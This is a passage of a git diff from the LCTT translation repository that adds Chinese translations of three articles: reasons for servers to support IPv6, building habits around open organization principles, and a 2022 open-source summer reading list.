还有很多更自私的论点,所以让我们继续探讨吧。 + +#### 原因二:只能使用 IPv6 的服务器也能够访问你的网站 + +我之前说过,大多数 IPv6 用户仍然可以通过 NAT 方式访问 IPv4 的网站。但是有些 IPv6 用户是不能访问 IPv4 网站的,因为他们发现他们运行的服务器只有 IPv6 地址,并且不能使用 NAT。因此,这些服务器完全无法访问只能使用 IPv4 的网站。 + +我想这些服务器并没有连接很多主机,也许它们只需要连接到一些支持 IPv6 的主机。 + +但对我来说,即使没有 IPv4 地址,一台主机也应该能够访问我的站点。 + +#### 原因三:更好的性能 + +对于同时使用 IPv4 和 IPv6(即具有专用 IPv6 地址和共享 IPv4 地址)的用户,IPv6 通常更快,因为它不需要经过额外的 NAT 地址转换。 + +因此,有时支持 IPv6 的网站可以为用户提供更快的响应。 + +在实际应用中,客户端使用一种称为“Happy Eyeballs”的算法,该算法能够从 IPv4 和 IPv6 中为用户选择一个最快的链接。 + +以下是网站支持 IPv6 的一些其他性能优势: + + * 使用 IPv6 可以提高搜索引擎优化(SEO),因为 IPv6 具有更好的性能。 + * 使用 IPv6 可能会使你的数据包通过更好(更快)的网络硬件,因为相较于 IPv4,IPv6 是一个更新的协议。 + +#### 原因四:能够恢复 IPv4 互联网中断 + +有人说他碰到过由于意外的 BGP 中毒,而导致仅影响 IPv4 流量的互联网中断问题。 + +因此,支持 IPv6 的网站意味着在中断期间,网站仍然可以保持部分在线。 + +#### 原因五:避免家庭服务器的 NAT 问题 + +将 IPv6 与家庭服务器一起使用,会变得简单很多,因为数据包不必通过路由器进行端口转发,因此只需为每台服务器分配一个唯一的 IPv6 地址,然后直接访问服务器的 IPv6 地址即可。 + +当然,要实现这一点,客户端需要支持 IPv6,但如今越来越多的客户端也能支持 IPv6 了。 + +#### 原因六:为了拥有自己的 IP 地址 + +你也可以自己购买 IPv6 地址,并将它们用于家庭网络的服务器上。如果你更换了互联网服务提供商,可以继续使用相同的 IP 地址。 + +我不太明白这是如何工作的,是如何让互联网上的计算机将这些 IP 地址路由转发给你的?我猜测你需要运行自己的自治系统(AS)或其他东西。 + +#### 原因七:为了学习 IPv6 + +有人说他们在安全领域中工作,为保证信息安全,了解互联网协议的工作原理非常重要(攻击者正在使用互联网协议进行攻击!)。因此,运行 IPv6 服务器有助于他们了解其工作原理。 + +#### 原因八:为了推进 IPv6 + +有人说因为 IPv6 是当前的标准,因此他们希望通过支持 IPv6 来为 IPv6 的成功做出贡献。 + +很多人还说他们的服务器支持 IPv6,是因为他们认为只能使用 IPv4 的网站已经太“落后”了。 + +#### 原因九:IPv6 很简单 + +我还得到了一堆“使用 IPv6 很容易,为什么不用呢”的答案。在所有情况下添加 IPv6 支持并不容易,但在某些情况下添加 IPv6 支持会是很容易的,有以下的几个原因: + + * 你可以从托管公司自动地获得 IPv6 地址,因此你只需要做的就是添加指向该地址的 `AAAA` 记录 + * 你的网站是基于支持 IPv6 的内容分发网络(CDN),因此你无需做任何额外的事情 + +#### 原因十:为了实施更安全的网络实验 + +因为 IPv6 的地址空间很大,所以如果你想在网络中尝试某些东西的时候,你可以使用 IPv6 子网进行实验,基本上你之后不会再用到这个子网了。 + +#### 原因十一:为了运行自己的自治系统(AS) + +也有人说他们为了运行自己的自治系统(我在这篇 [BGP 帖子][3] 中谈到了什么是 AS),因此在服务器中提供 IPv6。IPv4 地址太贵了,所以他们为运行自治系统而购买了 IPv6 地址。 + +#### 原因十二:IPv6 更加安全 + +如果你的服务器 _只_ 有公共的 IPv6 地址,那么攻击者扫描整个网络,也不能轻易地找出你的服务器地址,这是因为 IPv6 地址空间太大了以至于不能扫描出来! + +这显然不能是你仅有的安全策略,但是这是安全上的一个大大的福利。每次我运行 IPv4 服务器时,我都会惊讶于 IPv4 地址一直能够被扫描出来的脆弱性,就像是老版本的 WordPress 博客系统那样。 + +#### 一个很傻的理由:你可以在你的 IPv6 地址中放个小彩蛋 + +IPv6 地址中有很多额外的位,你可以用它们做一些不重要的事情。例如,Facebook 的 IPv6 地址之一是“2a03:2880:f10e:83:face:b00c:0:25de”(其中包含 `face:b00c`)。 + +### 理由还有很多 + +这就是到目前为止我所了解的“为什么支持 IPv6?”的理由。 + +在我理解这些原因后,相较于以前,我在我的(非常小的)服务器上支持 IPv6 更有动力了。但那是因为我觉得支持 IPv6,对我来说只需要很少的努力。(现在我使用的是支持 IPv6 的 CDN,所以我基本上不用做什么额外的事情) + +我仍然对 IPv6 知之甚少,但是在我的印象中,支持 IPv6 并不是不需要花费精力的,实际上可能需要大量工作。例如,我不知道 Twitter 在其边缘服务器上添加 IPv6 支持需要做多少繁杂的工作。 + +### 其它关于 IPv6 的问题 + +这里还有一些关于 IPv6 的问题,也许我之后再会探讨: + + * 支持 IPv6 的缺点是什么?什么会出错呢? + * 对于拥有了足够 IPv4 地址的 ISP 来说,有什么让他们提供 IPv6 的激励措施?(另一种问法是:我的 ISP 是否有可能在未来几年内转为支持 IPv6?或者他们可能不会支持 IPv6?) + * [Digital Ocean][4] (LCTT 译注:一家建立于美国的云基础架构提供商,面向软件开发人员提供虚拟专用服务器(VPS))只提供 IPv4 的浮动地址,不提供 IPv6 的浮动地址。为什么不提供呢?有更多 IPv6 地址,那提供 IPv6 的浮动地址不是变得更 _便捷_ 吗? + * 当我尝试 ping IPv6 地址时(例如 example.com 的 IP 地址`2606:2800:220:1:248:1893:25c8:1946`),我得到一个报错信息 `ping: connect: Network is unreachable`。这是为什么呢?(回答:因为我的 ISP 不支持 IPv6,所以我的电脑没有公共 IPv6 地址) + +这篇 [来自 Tailscale 的 IPv4 与 IPv6 文章][5] 非常有意思,并回答了上述的一些问题。 + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/01/29/reasons-for-servers-to-support-ipv6/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://twitter.com/b0rk/status/1487156306884636672 +[2]: https://en.wikipedia.org/wiki/Carrier-grade_NAT +[3]: https://jvns.ca/blog/2021/10/05/tools-to-look-at-bgp-routes/ +[4]: https://docs.digitalocean.com/products/networking/floating-ips/ +[5]: https://tailscale.com/kb/1134/ipv6-faq/ diff --git a/published/202210/20220616 Using habits to practice open organization principles.md b/published/202210/20220616 Using habits to practice open organization principles.md new file mode 100644 index 0000000000..d549c013a5 --- /dev/null +++ b/published/202210/20220616 Using habits to practice open organization principles.md @@ -0,0 +1,141 @@ +[#]: subject: "Using habits to practice open organization principles" +[#]: via: "https://opensource.com/open-organization/22/6/using-habits-practice-open-organization-principles" +[#]: author: "Ron McFarland https://opensource.com/users/ron-mcfarland" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15182-1.html" + +利用习惯练习开放式组织原则 +====== + +> 你可以按照以下步骤,来养成符合开放文化的习惯,并改掉那些不符合开放文化的习惯。 + +![Selfcare, drinking tea on the porch][1] + +很久以来,我就对习惯很感兴趣。几年前,我做了一次关于习惯利弊的演讲,并且介绍了如何改变坏习惯、养成好习惯。不久前,我阅读了 Art Markman 教授的 《Smart Thinking》一书,这本书主要讨论的也是习惯。或许你会问习惯与 [开放式组织的原则][2] 有什么关系?这其中有一定的联系!我将会分成两篇文章,来解释你可以如何管理你的习惯。 + +在本文中,我们将讨论习惯如何工作的,以及更重要的是你如何去开始改变你的习惯。在下一篇文章中,我们将回顾 Markman 教授在他书中所表达的思想。 + +### 开放式组织原则和习惯的交集 + +设想你学习过开放式组织的原则,尽管你认为它们很有趣并且很有价值,但是你还没有对这些原则形成自己的习惯。以下就是你现实中会表现出来的样子。 + +社区:如果你面对一项重要挑战,但是你不知道如何独自解决它,你很有可能会由于习惯而放弃这项挑战。养成与由志同道合的人组成的社区,共同解决问题的习惯,不是更好吗? + +协作:假设你认为你不善于合作,你喜欢独立完成任务。你知道有一些需要合作才能完成的事情,但是你并没有参与合作的习惯。为了弥补这种情况,你必须养成与他人更多合作的习惯。 + +信息共享:假如说你喜欢将你所做的事以及所知道的东西当作秘密。但是,你知道如果你不共享信息,你也无法从他人那里获取有用的信息。因此,你必须拥有共享信息的习惯。 + +包容性:想象一下,你与你不熟悉的人,或者是在个性、文化还是语言上都与你不同的人一起工作,你会感到不自在。但是,你知道如果你想要成功的话,你必须要和各种各样的人一同工作。那你该如何培养包容的习惯呢? + +适应能力:假设当你所做的事情不再能达到你所希望的结果之后,你往往会拒绝改变。但是,你知道你必须适应这种情况,并重新调整你的努力,那你如何才能养成适应的习惯呢? + +### 习惯是什么? + +在我给出关于上述开放式组织原则的示例之前,我想先解释一下习惯的一些相关特征。 + +* 习惯是重复很多次的行为,最终习惯会成为你下意识的行为。 +* 习惯是自动的并且当时会感觉良好。当一个人在养成习惯后,做习惯行为会使他感觉很好,但是当他跳出习惯做事时,会感到不舒服。或许之后他会再次考虑尝试。 +* 一些习惯是有益的,并且能够节省你很多的能量。大脑只占身体质量的 2%,但是却会消耗 20% 的能量。因为大脑在思考和集中精力上需要消耗很多能量,你可以通过培养下意识的习惯来节省能量。 +* 一些习惯对你有害,因此你渴望改变这些坏习惯。 +* 所有的习惯都会给你回报,即使回报是短暂的。 +* 习惯是基于你熟悉的事情和你知道的东西而形成的,即使你可能并不一定需要这个习惯。 + +### 养成习惯的 3 个步骤 + +1. 提示(触发器):首先,提示或者触发器会告诉大脑,进入之前学习的习惯性行为的自动模式之中。这里的提示可以是某件事,比如每天在确定的时间点、在确定的地点,看到一包糖果或者看到电视购物节目,亦或者看到某个特定的人。时间压力会触发你去做例行事项(routine)。在令人崩溃的环境下也会触发例行事项。简而言之,某件事提醒你开始做一些固定的事情。 +2. 例行事项routine:例行事项会被触发。一个例行事项是一系列的身体、心理或者情绪上的表现,可以是非常复杂的,也可以十分简单。诸如与心情相关的一些习惯可以在很短时间内被触发。 +3. 奖励:最后一步是奖励,奖励会帮助你的大脑计算一个特定的行为是否值得记住。奖励的范围很广泛,可以是食物或者其他令你感到快乐的东西。 + +### 商业环境中的坏习惯 + +习惯不仅仅是个人行为。所有的组织或多或少都有一些好的坏的制度习惯。然而,一些组织会有先见之明地设计好他们的习惯,而其他组织却不会设计习惯,只是随着竞争或者担心落伍而演变。以下是一些组织的坏习惯示例: + +* 总是晚提交报告 +* 单独工作或者分组合作,然而采用相反的方法才合适 +* 上级对下级施压很大 +* 不关心销售额的下降 +* 由于内卷,销售团队之间不协同合作 +* 让一个健谈的人主导会议 + +### 逐步改变习惯 + +习惯不是一成不变的,你可以改变你的行为习惯。首先,要知道不能一下子改变所有坏习惯。相反,先找到一个关键的习惯进行改变,这会产生小而快速的奖励。请记住,改变了一个关键的习惯后,会产生连锁反应。 + +以下是你可以用来改变任何习惯的四步框架,其中还包括与开放式组织原则相关的习惯。 + +#### 第一步:调整例行事项 + +确定你的习惯循环和例行事项,例如,当面临一件你无法独自解决的重大挑战之时。例行事项(你表现出的行为)最容易确定,所以先从它下手:例如,“在我的组织中,没人愿意和别人讨论问题。大家都会早早地放弃”。决定好你想要调整、改变或者学习的事情:例如:“每次重大挑战到来的时候,我应该和他人讨论一下,并且尝试建立一个志同道合、有能力解决问题的社区。” + +#### 第二步:有奖励的实验 + +奖励是很重要的,因为它会满足你强烈的渴望。但是,我们通常没有意识到强烈的渴望会驱动我们的行为。只有在事后,才会被我们察觉。比方说,开会时很多次你都想尽快离开会议室,避免讨论话题,即使内心清楚你应该弄明白如何解决问题。 + +要了解强烈的渴望是什么,你必须要实验。这可能会花费你几天、几周甚至更久的时间。你必须要感受到触发压力,才能完全识别它。例如,问问你自己当你试图推卸责任时的感受。 + +把你自己当作科学家,进行实验并收集数据。这是你调查研究的步骤: + +1. 第一个行为结束后,开始调整后面的行为,看看有没有奖励变化。例如,如果你每次碰到自己无法解决的挑战时都放弃,那么奖励就是不承担责任的解脱。更好的解决方法是与至少一个同样关心该问题的人讨论该问题。关键是要测试不同的假设,以确定哪种渴望驱使你的日常生活。你真的想逃避责任吗? +2. 在经历四至五个不同的例行事项和奖励之后,写下在收到每个奖励后立即想到的前三、四件事。例如,你不会在面对挑战时放弃,而是与其他人讨论这个问题。然后,你决定可以做什么。 +3. 写下你的感受或渴望后,设置一个 15 分钟的计时器。当计时器结束时,问问自己是否依旧渴望。在屈服于渴望之前,请休息一会儿并再考虑一两次这个问题。这会迫使你意识到这一刻,并帮助你稍后回忆起你当时的想法。 +4. 试着记住你在那一刻的想法和感受,然后在例行事项后 15 分钟。如果渴望消失了,你就已经确定了回报是什么。 + +#### 第三步:分析出坏习惯的提示或触发器 + +坏习惯的提示信息很难鉴定,因为通常有太多信息干扰你未定型的行为。要在干扰中鉴别提示,你可以在你的坏习惯出现的时候,观察以下四个因素: + +地点:它在哪里发生?例如:“我最大的挑战在会议中出现。” + +时间:它什么时候出现?例如:“如果我累了,下午的会议就是在浪费时间,因为我没兴趣付出努力。” + +感受:你当时的情绪状态是怎样的?例如:“当我听到这个问题时,我感到压力山大并且很沮丧。” + +人们:当时有谁或者哪一类人在你周围,还是你是独自一人?例如:“在会议上,大多数人似乎对这个问题也不感兴趣。剩下的人主导会议讨论。” + +#### 第四步:制定养成好习惯的计划 + +一旦你确定奖励可以驱动你的行为,某些提示会触发你的坏习惯,那你就可以开始改变你的行动。请跟随以下三个简单的步骤: + +1. 首先,规划好习惯的提示。例如:“在会议上,我将发现并将我的注意力集中在重要的问题上。” +2. 其次,选择一种能带来相同回报的好行为,但不会遭受你现在坏习惯的惩罚。例如:“我将找到解决这个问题的方法,并考虑我需要哪些资源和技能才能成功。当我创建一个能够成功解决问题的社区时,我会感觉很棒。” +3. 最后,让你选择的行为成为深思熟虑的选择,直到你不再需要考虑它,就能下意识地做它了。例如:“我将有意识地关注重要问题,直到我可以不假思索地做到这一点。我会查看近期会议的安排表,这样我就可以提前知道会发生什么。在每次会议开始前和会议期间,我会问自己‘为什么我会来开会’,来确保我集中注意于重要的事情。” + +#### 制定计划来避免忘记必做事项 + +为了成功地开始做你经常忘记的事情,请按照以下步骤: + +1. 计划你想要做什么 +2. 决定何时完成 +3. 将计划分为必要的小任务 +4. 用计时器或者日常计划进行提示,并开始每项任务 +5. 按计划完成每个任务 +6. 按时完成后就奖励自己 + +### 习惯的改变 + +习惯的改变需要很长时间。有时候互助小组会帮助你改变习惯。有时候,在低压力环境中,进行大量的练习和角色预演能够更好地帮助你改变。想要找到有效的奖励,你需要不断的尝试。 + +有时,习惯是更重要、更深层次问题的反映。在这些情况下,你可能需要专业帮助。但是,如果你有改变的愿望,并接受在此过程中会有一些小失败,你就可以控制任何习惯。 + +在本文中,我使用了使用 *提示-例行事项-奖励* 三个过程的社区开发示例。它同样可以应用于其他开放式组织的原则。我希望这篇文章能让你思考如何通过了解习惯如何运作、采取措施改变习惯,以及制定计划避免忘记你想做的事情,来管理习惯。无论是开放式组织原则,还是其他任何东西,你现在都可以判断出提示、常规和奖励。当提示出现时,这将引导你制定改变习惯的计划。 + +在我的下一篇文章中,我将通过 Art Markman 教授在《Smart Thinking》中观点来继续讨论习惯。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/22/6/using-habits-practice-open-organization-principles + +作者:[Ron McFarland][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_selfcare_wfh_porch_520.png +[2]: https://theopenorganization.org/definition/open-organization-definition/ diff --git a/published/202210/20220621 7 summer book recommendations from open source enthusiasts.md b/published/202210/20220621 7 summer book recommendations from open source enthusiasts.md new file mode 100644 index 0000000000..66784a6b0c --- /dev/null +++ b/published/202210/20220621 7 summer book recommendations from open source enthusiasts.md @@ -0,0 +1,197 @@ +[#]: subject: "7 summer book recommendations from open source enthusiasts" +[#]: via: "https://opensource.com/article/22/6/2022-opensourcecom-summer-reading-list" +[#]: author: "Joshua Allen Holm https://opensource.com/users/holmja" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15157-1.html" + +来自开源爱好者的 7 本读物推荐 +====== + +> 社区的成员们推荐这些书籍,涵盖了从有趣的悬疑小说到发人深省的非小说作品的各种类型,你一定能从中找到一本你想看的书! + +![](https://img.linux.net.cn/data/attachment/album/202210/20/115515jsppwzz8s1ssle7p.jpg) + +很高兴能为大家介绍 Opensource.com 的 2022 年暑期阅读清单。今年的榜单包含来自 Opensource.com 社区成员的 7 本精彩的读物推荐。你可以发现各种各样的书籍,涵盖从有趣舒适的谜团到探索发人深省主题的非小说类作品。我希望你能在这个榜单中找到感兴趣的书本。 + +希望你喜欢! + +### 《每个 Java 程序员都应该知道的 97 件事:专家的集体智慧》 + +![Book title 97 Things Every Java Programmer Should Know][4] + +> **《[每个 Java 程序员都应该知道的 97 件事:专家的集体智慧][5]97 Things Every Java Programmer Should Know: Collective Wisdom from the Experts》** + +编辑:Kevlin Henney 和 Trisha Gee + +*[由 Seth Kenlon 推荐][6]* + +这本书是由 73 位在软件行业工作的不同作者共同撰写。它的优秀之处在于它不仅仅适用于 Java 编程。当然,有些章节会涉及 Java,但是也还有一些其他话题,例如了解你的容器环境、如何更快更好地交付软件、以及不要隐藏你的开发工具,这些适用于任何语言的开发。 + +更好的是,有些章节同样适用于生活中的问题。将问题和任务分成小的部分是解决任何问题的好建议;建立多样化的团队对所有合作者都很重要;由从散乱的一块块拼图到拼好的完成品,看起来像是拼图玩家的思路,也适用于不同的工作角色。 + +每章只有几页,总共有 97 个章节,你可以轻松跳过不适用于你自己的章节。无论你是一直在写 Java 代码、或者只是学过一点 Java,亦或是尚未开始学习 Java,对于对代码和软件开发过程感兴趣的极客来说,这都会是一本好书。 + +### 《城市不是计算机:其他的城市智能》 + +![Book title A City is Not a Computer][7] + +> **《[城市不是计算机:其他的城市智能][8]A City is Not a Computer: Other Urban Intelligences》** + +作者:Shannon Mattern + +*[由 Scott Nesbitt 推荐][9]* + +如今,让一切变得智能已经成为一种 *时尚*:我们的手机、家用电器、手表、汽车,甚至是城市都变得智能化了。 + +对于城市的智能化,这意味着传感器变得无处不在,在我们开展业务时收集数据,并根据这些数据向我们推送信息(无论数据有用与否)。 + +这就引出了一个问题,将所有高科技技术嵌入到城市中是否会使得城市智能化呢?在《城市不是计算机》这本书中,作者 Shannon Mattern 认为并不是这样的。 + +城市智能化的目标之一是为市民提供服务和更好的城市参与感。Mattern 指出,但是实际上,智慧城市“希望将技术专家的管理想法与公共服务相融合,从而将公民重新设置为‘消费者’和‘用户’”,然而,这并不是在鼓励公民积极参与城市的生活和治理。 + +第二个问题是关于智慧城市收集的数据。我们不知道收集了什么数据,以及收集了多少数据。我们也不知道这些数据使用在什么地方,以及是谁使用的。收集的数据太多了,以至于处理数据的市政工作人员会不堪重负。他们无法处理所有数据,因此他们专注于短期容易实现的任务,而忽略了更深层次和更紧迫的问题。这绝对达不到在推广智慧城市时所承诺的目标:智慧城市将成为解决城市困境的良药。 + +《城市不是计算机》是一本短小精悍、经过深入研究的、反对拥抱智慧城市的论证。这本书让我们思考智慧城市的真正目的:要让百姓真正受益于城市智能化,并引发我们的思考:发展智慧城市是否必要呢。 + +### 《git sync 谋杀案》 + +![Book title git sync murder][10] + +> **《[git sync 谋杀案][11]git sync murder》** + +作者:Michael Warren Lucas + +*[由 Joshua Allen Holm 推荐][12]* + +Dale Whitehead 宁愿呆在家里,通过他的电脑终端与世界连接,尤其是在他参加的最后一次会议上发生的事情之后。在那次会议上,Dale 扮演了一个业余侦探的角色,解决了一桩谋杀案。你可以在该系列的第一本书《git commit 谋杀案git commit murder》中读到那个案件。 + +现在,Dale 回到家,参加另一个会议,他再次发现自己成为了侦探。在《git sync 谋杀案git sync murder》中,Dale 参加了一个当地科技会议/科幻大会,会议上发现一具尸体。这是谋杀,还是只是一场意外?现在,Dale 是这些问题的“专家”,他发现自己被卷入了这件事,并要亲自去弄清楚到底发生了什么。再多说的话就剧透了,所以我能说《git sync 谋杀案》这本书十分引人入胜,而且读起来很有趣。不必先阅读《git commit 谋杀案》,才能阅读《git sync 谋杀案》,但我强烈推荐一起阅读该系列中的这两本书。 + +作者 Michael Warren Lucas 的《git 谋杀案》系列非常适合喜欢悬疑小说的科技迷。Lucas 写过很多复杂的技术题材的书,这本书也延续了他的技术题材,《git sync 谋杀案》这本书中的人物在会议活动上谈论技术话题。如果你因为新冠疫情,最近没有参加过会议,怀念参会体验的话,Lucas 将带你参加一个技术会议,其中还有一个谋杀之谜以待解决。Dale Whitehead 是一个有趣的业余侦探,我相信大多数读者会喜欢和 Dale 一起参加技术会议,并充当侦探破解谜案的。 + +### 《像女孩一样踢球》 + +![Book title Kick Like a Girl][13] + +> **《[像女孩一样踢球][14]Kick Like a Girl》** + +作者:Melissa Di Donato Roos + +*[由 Joshua Allen Holm 推荐][15]* + +没有人喜欢被孤立,当女孩 Francesca 想在公园里踢足球时,她也是这样。男孩们不会和她一起玩,因为她是女孩,所以她不高兴地回家了。她的母亲安慰她,讲述了有重要影响力的著名女性的故事。《像女孩一样踢球》中详述的历史人物包括历史中来自许多不同领域的女性。读者将了解 Frida Kahlo、Madeleine Albright、阿达·洛芙莱斯Ada Lovelace、Rosa Parks、Amelia Earhart、玛丽·居里Marie Curie(居里夫人)、Valentina Tereshkova、弗洛伦斯·南丁格尔Florence Nightingale 和 Malala Yousafzai 的故事。听完这些鼓舞人心的人物故事后,Francesca 回到公园,向男孩们发起了一场足球挑战。 + +《像女孩一样踢球》这本书的特色是作者 Melissa Di Donato Roos(SUSE 的 CEO,LCTT 译注:SUSE 是一家总部位于德国的软件公司,创立于 1992 年,以提供企业级 Linux 为主要业务)引人入胜的写作和 Ange Allen 的出色插图。这本书非常适合年轻读者,他们会喜欢押韵的文字和书中的彩色插图。Melissa Di Donato Roos 还写了另外两本童书,《美人鱼如何便便How Do Mermaids Poo?》和《魔盒The Magic Box》,这两本书也都值得一读。 + +### 《这是我的!:所有权的潜规则如何控制着我们的生活》 + +![Book title Mine!][16] + +> **《[这是我的!:所有权的潜规则如何控制着我们的生活][17]Mine!: How the Hidden Rules of Ownership Control Our Lives》** + +作者:Michael Heller 和 James Salzman + +*[由 Bryan Behrenshausen 推荐][18]* + +作者 Michael Heller 和 James Salzman 在文章《这是我的!》中写道:“你对所有权的很多了解都是错误的”。这是一种被吸引到开源领域的人不得不接受所有权规则的对抗性邀请。这本书肯定是为开源爱好者而写的,他们对代码、思想、各种知识产权的所有权的看法往往与主流观点和普遍接受的认知不同。在本书中,Heller 和 Salzman 列出了“所有权的隐藏规则”,这些规则管理着谁能控制对什么事物的访问。这些所有权规则是微妙的、强大的、有着深刻的历史惯例。这些所有权规则已经变得如此普遍,以至于看起来无可争议,这是因为“先到先得”或“种瓜得瓜,种豆得豆”的规则已经成为陈词滥调。然而,我们看到它们无处不在:在飞机上,为宝贵的腿部空间而战;在街道上,邻居们为铲好雪的停车位发生争执;在法庭上,陪审团决定谁能控制你的遗产和你的 DNA。在当下的数字时代,所有权的替代理论能否为重新思考基本权利创造空间?作者们认为这是可以的。如果这是正确的,我们可能会回应:在未来,开源软件能否成为所有权运作的模型呢? + +### 《并非所有童话故事都有幸福的结局:雪乐山公司的兴衰》 + +![Book Title Not All Fairy Tales Have Happy Endings][19] + +> **《[并非所有童话故事都有幸福的结局:雪乐山公司的兴衰][20]Not All Fairy Tales Have Happy Endings: The Rise and Fall of Sierra On-Line》** + +作者:Ken Williams + +*[由 Joshua Allen Holm 推荐][21]* + +在 1980 年代和 1990 年代,雪乐山公司Sierra On-Line是计算机软件行业的巨头。这家由 Ken 和 Roberta Williams 夫妻创立的公司,出身并不起眼,但却发布了许多标志性的电脑游戏。《国王密使King's Quest》、《宇宙传奇Space Quest》、《荣耀任务Quest for Glory》、《Leisure Suit Larry》 和 《狩魔猎人Gabriel Knight》 只是该公司几个最大的专属系列中的很小一部分。 + +《并非所有童话故事都有幸福的结局》这本书,涵盖了从雪乐山公司发布第一款游戏 《[神秘屋][22]Mystery House》,到该公司不幸地被 CUC 国际公司收购以及后续的所有内容。雪乐山品牌在被收购后仍存活了一段时间,但 Williams 创立的雪乐山已不复存在。Ken Williams 以一种只有他才能做到的方式,讲述了雪乐山公司的整个历史。雪乐山的历史叙述穿插了一些 Williams 提出的管理和计算机编程建议的章节。虽然 Ken Williams 在写这本书时,已经离开这个行业很多年了,但他的建议仍然非常重要。 + +虽然雪乐山公司已不复存在,但该公司对计算机游戏行业产生了持久的影响。对于任何对计算机软件历史感兴趣的人来说,《并非所有童话故事都有美好的结局》都是值得一读的。雪乐山公司在其鼎盛时期处于游戏开发的最前沿,从带领公司走过那个激动人心的岁月的 Ken Williams 身上,我们可以学到许多宝贵的经验。 + +### 《新机器的灵魂》 + +![Book title The Soul of a New Machine][23] + +> **《[新机器的灵魂][24]The Soul of a New Machine》** + +作者:Tracy Kidder + +*[由 Guarav Kamathe 推荐][25]* + +我是计算机历史的狂热读者。知道这些人们如此依赖(并且经常被认为是理所当然)的计算机是如何形成的,真是令人着迷!我是在 [Bryan Cantrill][27] 的博客文章中,第一次听说 《[新机器的灵魂][26]》这本书的。这是一本由 [Tracy Kidder][29] 编著的非虚构书籍,于 1981 年出版,作者 Tracy Kidder也因此获得了 [普利策奖][30]。故事发生在 1970 年代,想象一下你是负责设计 [下一代计算机][31] 工程团队中的一员。故事的背景是在通用数据公司Data General Corporation,该公司当时是一家小型计算机供应商,正在与美国数字设备公司Digital Equipment Corporation(DEC)的 32 位 VAX 计算机相竞争。该书概述了通用数据公司内部两个相互竞争的团队,都想在设计新机器上一展身手,结果导致了一场争斗。接下来,细致地描绘了随之展开的事件。这本书深入地讲述了相关工程师的思想、他们的工作环境、他们在此过程中面临的技术挑战、他们是如何克服这些困难的、以及压力如何影响到了他们的个人生活等等。任何想知道计算机是怎么制造出来的人都应该阅读这本书。 + +以上就是 2022 年的推荐阅读书目。它提供了很多非常棒的选择,我相信读者们能得到数小时发人深省的阅读时光。想获取更多书籍推荐,请查看我们历年的阅读书目。 + +* [2021 年 Opensource.com 推荐阅读书目][32] +* [2020 年 Opensource.com 推荐阅读书目][33] +* [2019 年 Opensource.com 推荐阅读书目][34] +* [2018 年 Open Organization 推荐阅读书目][35] +* [2016 年 Opensource.com 推荐阅读书目][36] +* [2015 年 Opensource.com 推荐阅读书目][37] +* [2014 年 Opensource.com 推荐阅读书目][38] +* [2013 年 Opensource.com 推荐阅读书目][39] +* [2012 年 Opensource.com 推荐阅读书目][40] +* [2011 年 Opensource.com 推荐阅读书目][41] +* [2010 年 Opensource.com 推荐阅读书目][42] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/2022-opensourcecom-summer-reading-list + +作者:[Joshua Allen Holm][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/holmja +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/tea-cup-mug-flowers-book-window.jpg +[2]: https://unsplash.com/@sixteenmilesout?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/tea?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://opensource.com/sites/default/files/2022-06/97_Things_Every_Java_Programmer_Should_Know_1.jpg +[5]: https://www.oreilly.com/library/view/97-things-every/9781491952689/ +[6]: https://opensource.com/users/seth +[7]: https://opensource.com/sites/default/files/2022-06/A_City_is_Not_a_Computer_0.jpg +[8]: https://press.princeton.edu/books/paperback/9780691208053/a-city-is-not-a-computer +[9]: https://opensource.com/users/scottnesbitt +[10]: https://opensource.com/sites/default/files/2022-06/git_sync_murder_0.jpg +[11]: https://mwl.io/fiction/crime#gsm +[12]: https://opensource.com/users/holmja +[13]: https://opensource.com/sites/default/files/2022-06/Kick_Like_a_Girl.jpg +[14]: https://innerwings.org/books/kick-like-a-girl +[15]: https://opensource.com/users/holmja +[16]: https://opensource.com/sites/default/files/2022-06/Mine.jpg +[17]: https://www.minethebook.com/ +[18]: https://opensource.com/users/bbehrens +[19]: https://opensource.com/sites/default/files/2022-06/Not_All_Fairy_Tales.jpg +[20]: https://kensbook.com/ +[21]: https://opensource.com/users/holmja +[22]: https://en.wikipedia.org/wiki/Mystery_House +[23]: https://opensource.com/sites/default/files/2022-06/The_Soul_of_a_New_Machine.jpg +[24]: https://www.hachettebookgroup.com/titles/tracy-kidder/the-soul-of-a-new-machine/9780316204552/ +[25]: https://opensource.com/users/gkamathe +[26]: https://en.wikipedia.org/wiki/The_Soul_of_a_New_Machine +[27]: https://en.wikipedia.org/wiki/Bryan_Cantrill +[28]: http://dtrace.org/blogs/bmc/2019/02/10/reflecting-on-the-soul-of-a-new-machine/ +[29]: https://en.wikipedia.org/wiki/Tracy_Kidder +[30]: https://www.pulitzer.org/winners/tracy-kidder +[31]: https://en.wikipedia.org/wiki/Data_General_Eclipse_MV/8000 +[32]: https://opensource.com/article/21/6/2021-opensourcecom-summer-reading-list +[33]: https://opensource.com/article/20/6/summer-reading-list +[34]: https://opensource.com/article/19/6/summer-reading-list +[35]: 